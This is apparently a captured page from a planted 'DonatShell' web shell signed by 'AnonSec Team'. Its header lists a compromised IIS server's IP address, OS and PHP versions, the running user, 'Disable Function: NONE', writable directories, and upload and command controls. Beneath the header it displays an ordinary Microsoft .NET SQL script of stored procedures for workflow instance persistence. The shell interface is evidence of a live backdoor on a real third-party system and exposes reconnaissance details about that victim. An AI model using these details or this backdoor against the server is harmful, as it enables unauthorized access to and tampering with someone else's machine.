DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Windows/Microsoft.NET/Framework/v3.5/SQL/EN/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /Windows/Microsoft.NET/Framework/v3.5/SQL/EN/SqlPersistenceProviderLogic.sql
˙ūSET ANSI_NULLS ON

GO

SET QUOTED_IDENTIFIER ON

GO



--

-- DeleteInstance

--

IF EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[dbo].[DeleteInstance]') AND type in (N'P', N'PC'))

	DROP PROCEDURE [dbo].[DeleteInstance]

GO

CREATE PROCEDURE DeleteInstance

	@id uniqueIdentifier,

	@hostId uniqueIdentifier,

	@lockTimeout int,

	@result int output

AS

BEGIN

	SET NOCOUNT ON;



	DECLARE @now datetime;

	SET @now = getutcdate();



	DELETE FROM [dbo].[InstanceData]

		WHERE (id = @id) AND ((@lockTimeout < 0) OR ((lockOwner = @hostId) AND (lockExpiration >= @now)));



	IF @@rowcount = 1

		SET @result = 0; -- Success

	ELSE

	BEGIN

		IF EXISTS (SELECT 1 FROM [dbo].[InstanceData] WHERE id = @id)

			SET @result = 2; -- Could not acquire lock

		ELSE

			SET @result = 1; -- Instance not found

	END

END

GO

GRANT EXECUTE ON [dbo].[DeleteInstance] TO persistenceUsers

GO



--

-- LoadInstance

--

IF EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[dbo].[LoadInstance]') AND type in (N'P', N'PC'))

	DROP PROCEDURE [dbo].[LoadInstance]

GO

CREATE PROCEDURE LoadInstance

	@id uniqueidentifier,

	@lockInstance bit,

	@hostId uniqueidentifier,

	@lockTimeout int,

	@result int output

AS

BEGIN

	SET NOCOUNT ON;



	SET TRANSACTION ISOLATION LEVEL READ COMMITTED;



	DECLARE @createdTransaction bit;

	

	DECLARE @now datetime, @lockExpiration datetime;

	SET @now = getutcdate();

	SET @result = 0;



	IF (@lockTimeout < 0) OR (@lockInstance = 'FALSE')

	BEGIN

		SELECT 

			'instance' = instance,

			'instanceXml' = instanceXml,

			'isXml' = CASE

				WHEN instanceXml is NOT NULL THEN 1

				ELSE 0

			END

			FROM [dbo].[InstanceData]

			WHERE id = @id;



		IF @@rowcount = 0

			SET @result = 1; -- Instance not found

	END

	ELSE

	BEGIN

		IF @lockTimeout = 0

			SET @lockExpiration = '9999-12-31T23:59:59';

		ELSE 

			SET @lockExpiration = dateadd(second, @lockTimeout, @now);



		IF @@trancount = 0

		BEGIN

			SET @createdTransaction = 'TRUE';

			BEGIN TRANSACTION;

		END



		UPDATE [dbo].[InstanceData] SET

			lockOwner = @hostId,

			lockExpiration = @lockExpiration

			WHERE (id = @id) AND ((lockOwner is NULL) OR (lockOwner = @hostId) OR (lockExpiration < @now));



		IF @@rowcount = 1

		BEGIN

			SELECT 

				instance,

				instanceXml,

				'isXml' = CASE

					WHEN instanceXml is NOT NULL THEN 1

					ELSE 0

				END

				FROM [dbo].[InstanceData]

				WHERE id = @id;



			IF @@error <> 0

			BEGIN

				ROLLBACK TRANSACTION

				RETURN

			END

		END

		ELSE

		BEGIN 

			IF EXISTS (SELECT 1 FROM [dbo].[InstanceData] WHERE id = @id)

				SET @result = 2; -- Could not acquire lock

			ELSE

				SET @result = 1; -- Instance not found

		END



		IF @createdTransaction = 'TRUE'

			COMMIT TRANSACTION

	END

END

GO

GRANT EXECUTE ON [dbo].[LoadInstance] TO persistenceUsers

GO



--

-- InsertInstance

--

IF EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[dbo].[InsertInstance]') AND type in (N'P', N'PC'))

	DROP PROCEDURE [dbo].[InsertInstance]

GO

CREATE PROCEDURE InsertInstance

	@id uniqueidentifier,

	@instance image = NULL,

	@instanceXml xml = NULL,

	@unlockInstance bit,

	@hostId uniqueidentifier,

	@lockTimeout int,

	@result int OUTPUT

AS

BEGIN

	SET NOCOUNT ON;



	SET TRANSACTION ISOLATION LEVEL READ COMMITTED;



	SET @result = 0;



	DECLARE @now datetime, @lockExpiration datetime, @newOwner uniqueidentifier;

	SET @now = getutcdate();

	

	IF @lockTimeout < 0 OR @unlockInstance = 'TRUE'

	BEGIN

		SET @lockExpiration = NULL;

		SET @newOwner = NULL;

	END

	ELSE 

	BEGIN

		SET @newOwner = @hostId;



		IF @lockTimeout = 0

			SET @lockExpiration = '9999-12-31T23:59:59';

		ELSE

			SET @lockExpiration = dateadd(second, @lockTimeout, @now);

	END



	INSERT INTO [dbo].[InstanceData] (id, instance, instanceXml, created, lastUpdated, lockOwner, lockExpiration)

		VALUES (@id, @instance, @instanceXml, @now, @now, @newOwner, @lockExpiration);



	IF @@rowcount = 0

	BEGIN

		IF EXISTS(SELECT 1 FROM [dbo].[InstanceData] WHERE id = @id)

			SET @result = 1; -- The instance already existed.

		ELSE

			SET @result = 2; -- Some other non-fatal error caused us not to insert

	END

END

GO

GRANT EXECUTE ON [dbo].[InsertInstance] TO persistenceUsers

GO



--

-- UpdateInstance

--

IF EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[dbo].[UpdateInstance]') AND type in (N'P', N'PC'))

	DROP PROCEDURE [dbo].[UpdateInstance]

GO

CREATE PROCEDURE UpdateInstance

	@id uniqueidentifier,

	@instance image = NULL,

	@instanceXml xml = NULL,

	@unlockInstance bit,

	@hostId uniqueidentifier,

	@lockTimeout int,

	@result int OUTPUT

AS

BEGIN

	SET NOCOUNT ON;



	SET TRANSACTION ISOLATION LEVEL READ COMMITTED;



	SET @result = 0;



	DECLARE @now datetime, @lockExpiration datetime, @newOwner uniqueidentifier;

	SET @now = getutcdate();

	

	IF @lockTimeout < 0 OR @unlockInstance = 'TRUE'

	BEGIN

		SET @lockExpiration = NULL;

		SET @newOwner = NULL;

	END

	ELSE 

	BEGIN

		SET @newOwner = @hostId;



		IF @lockTimeout = 0

			SET @lockExpiration = '9999-12-31T23:59:59';

		ELSE

			SET @lockExpiration = dateadd(second, @lockTimeout, @now);

	END



	UPDATE [dbo].[InstanceData] SET

		instance = @instance,

		instanceXml = @instanceXml,

		lastUpdated = @now,

		lockOwner = @newOwner,

		lockExpiration = @lockExpiration

		WHERE (id = @id) AND ((@lockTimeout < 0) OR ((lockOwner = @hostId) AND (lockExpiration >= @now)));



	IF @@rowcount = 0

	BEGIN

		IF EXISTS(SELECT 1 FROM [dbo].[InstanceData] WHERE id = @id)

			SET @result = 2; -- Did not have lock

		ELSE

			SET @result = 1; -- Instance was not found in the database for update

	END

END

GO

GRANT EXECUTE ON [dbo].[UpdateInstance] TO persistenceUsers

GO



--

-- UnlockInstance

--

IF EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[dbo].[UnlockInstance]') AND type in (N'P', N'PC'))

	DROP PROCEDURE [dbo].[UnlockInstance]

GO

CREATE PROCEDURE UnlockInstance

	@id uniqueIdentifier,

	@hostId uniqueIdentifier,

	@lockTimeout int,

	@result int output

AS

BEGIN

	SET NOCOUNT ON;



	SET TRANSACTION ISOLATION LEVEL READ COMMITTED



	DECLARE @now datetime;

	SET @now = getutcdate();



	UPDATE [InstanceData] SET

		lockOwner = NULL,

		lockExpiration = NULL

		WHERE (id = @id) AND ((@lockTimeout < 0) OR ((lockOwner = @hostId) AND (lockExpiration >= @now)));



	IF @@rowcount = 1

		SET @result = 0; -- Success

	ELSE

	BEGIN

		IF EXISTS(SELECT 1 FROM [dbo].[InstanceData] WHERE id = @id)

			SET @result = 2; -- Did not have lock

		ELSE

			SET @result = 1; -- Instance not found

	END

END

GO

GRANT EXECUTE ON [dbo].[UnlockInstance] TO persistenceUsers

GO


Anon7 - 2022
AnonSec Team